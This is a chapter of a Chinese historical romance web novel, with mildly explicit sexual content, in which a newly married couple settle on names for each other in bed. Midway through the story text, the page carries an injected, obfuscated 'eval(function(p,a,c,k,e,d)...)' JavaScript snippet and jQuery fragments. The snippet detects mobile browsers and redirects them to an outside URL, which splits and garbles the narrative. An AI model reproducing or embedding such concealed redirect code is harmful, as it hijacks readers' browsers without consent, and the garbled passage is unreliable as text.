宋令仪瞪着眼睛看他,脑门上都是汗水:不是,成个亲,这男人还变样了?
明明还是那个谢景川,可偏偏就觉得哪里不同了,硬是温柔了很多。
“我,我也是喜欢的吧。可是夫君,现在正是白日,你这样子若是给人知道了,怕是要参你一本。夫君在朝堂不易,后院之事,也当要恪守一下规矩才是。”
天啊!
哪有大白天的,就要干这种事情的?
宋令仪脸皮薄,肯定不行。
最主要是,昨晚要得太狠,她现在全身都还在难受着,哪能再由着他胡来?
“夫人所言,也有道理。”
谢景川轻笑一声,看似很认同她的话,腰身一翻,宋令仪惊呼一声,视线斗转,变成了他在下,她在上。
她伏在他的身上,视线与他相对,一颗心怦怦乱跳,脸就更红了。
可这样子也不好吧!
就算不做那事,也不该大白天这样光溜溜躺着的,这成啥样了!
连忙又说:“夫君,我让绿翠去拿衣服了,夫君还是放我起身吧!”
她手脚并用的要爬走,谢景川一只手枕在脑后,另一只手却是稳稳落在她的腰间,声音沙哑的说,“别乱动,我这几夜不曾睡好,你动了,我便想要你。”
宋令仪:!
她现在腰还酸着,腿还疼着,嗓子还哑着,怎么还敢再来?
一时间乖得不行。
谢景川掀了眼皮看她,瞧着她汗浸浸的额头,粉粉红的小脸,突然就觉得这么乖的她,又让他挺不舒服的。
眉眼中有着不满:“嫂嫂如此乖巧,是怕本相又对你起意?”
她就这么怕他吗?
明明已经是夫妻了,她不该这样的。
宋令仪:……
不让动的是他,现在不高兴的还是他,这男人是有什么毛病?
想了想,宋令仪只能硬着头皮答道:“妾身以夫为纲,夫君说不让动,妾身就不动了。”
“那本相说,不让你行骗,你就不骗了,嗯?”
谢景川身体着实乏得很,的确也是几个日夜没休息好,原本想来小憩片刻,结果,就成了现在这副模样。
罢了,女色误人啊,既然睡不着,那就不睡了吧!
他翻身坐起,伸手握着她的腰,将她抱坐在腿间,又用薄被盖了她。
只是两人贴面而坐,哪怕盖得再好,她胸前的娇软依然落在他的眼底,那一抹雪白,晃得他眼睛都花。
身下悄然又立了起来,是无法克制的冲动。
谢景川想着总不能做白日宣银的贼,只好侧了身,努力不去想那事,忍了下来。
脸色绷得紧,大手在她纤细的腰间摩挲:“嫂嫂,我们既已做成了真正的夫妻,那过去的称呼总得改改了。”
宋令仪用力拉着薄被,紧张得鼻尖都出了汗,连声道:“的确该是这样。那夫君以后不可总喊我嫂嫂,这样总是不妥的。”
“可。那夫人口中唤我,又是相爷,又是夫君的,这也总不好。我们得立个规矩才是,若不然,称呼乱了,也让下人听着怪异。”
手依然落在她的腰间,掌心有着滚烫的温度,谢景川下意识想到昨夜的孟浪,耳尖也跟着红了红。
果然女人香,英雄冢。
从前他不懂这些,只觉得女人挺麻烦的,现在……倒是想要与她日日在一起了。
不过,想到那床榻之上的一抹娇红,谢景川目色又变得深重:怕是,这小女子到现在都不知道,她已经露了马脚了吧!
说什么怀了身孕,纯属说谎。
“那我以后唤夫君?”
宋令仪只能想出这么一个称呼,声音小的低不可闻。
不是她没气势,实在是这种场面,她怎么可能有气势?
他光着上身,她全身裸着,还是在床榻之上……她硬气不起来。
“可以唤夫君,也可以唤我乳名。”
谢景川看着她压低的小脸,忍不住伸手轻捏了捏,“我在外唤你夫人,回了府,便唤你阿令可好?”
宋令仪愣了愣:“夫君的乳名是?”
“阿宝。”
谢景川没觉得这乳名有何不妥,又给出第三个称呼,“也可以唤我的字,行止。”
“行止?”
宋令仪喃喃唤了一声,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090062|195427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然后整个人怔住:如果一个男人愿意让一个女人唤他的字,自然也是认可了这个女人。
可他,是兼祧两房的,他成亲之前还对她横挑竖挑,那眼神想要杀了她的,现在才过两日,这就可以唤行止了?
想了想,实在想不通,也便拉倒。
点头道:“好,行止。”
“那就这么说定了,那阿令可有小字?”
宋令仪摇头:“没有。”
纵有小字,也不想唤。
她到现在,依然存着去子去父的打算:等查明一切,她就留下孩子给他,也算是报答了。
届时,她就回去毒医谷,陪着师父师娘他们,一辈子不出谷了。
谢景川:……
这么多年,他对于人心的把控,已经到了见微知著的地步。
她眉眼一动,他就知道她心里想着什么。
忍不住有些气,但又不知道该怎么说:都已经做了夫妻,还想着要离开他?
突然的大手向着腹部而去,宋令仪愣住,又下意识慌乱,连忙压住他的手:“你,你要做什么?”
她的腹部极为柔软,但摸上去,手感并不好。
试问世间女子,哪个不爱美?
而她有这样的伤,也从不为外人知道。
可眼下,谢景川就是冲着这道伤去的:“阿令有事瞒我。这道伤,瞧着像是烧伤,阿令之前曾落入火中吗?”
看伤痕,时年已久。
但他依然想要知道。
“你,你看到了?”
宋令仪顿住,急着按他的手,肩上的薄被滑落,谢景川的视线上线,落到她雪白的肩头,“看到了。阿令身上,除了烧伤,还有剑伤。阿令,你曾经受过什么苦?可以跟我说吗?我是你的夫君,是你以后一辈子的依靠,你可以信任我的。”
他耐心跟她说。
身上的薄被彻底滑落,露出她纤瘦的身体,以及她胸前的娇软。
这算是两人之间第二次坦诚相见,但依然不熟,会害羞。
宋令仪低头,迅速又把薄被拉起,扭过头,生硬的说:“夫君别再问了,过去的事情,我都已经忘了。”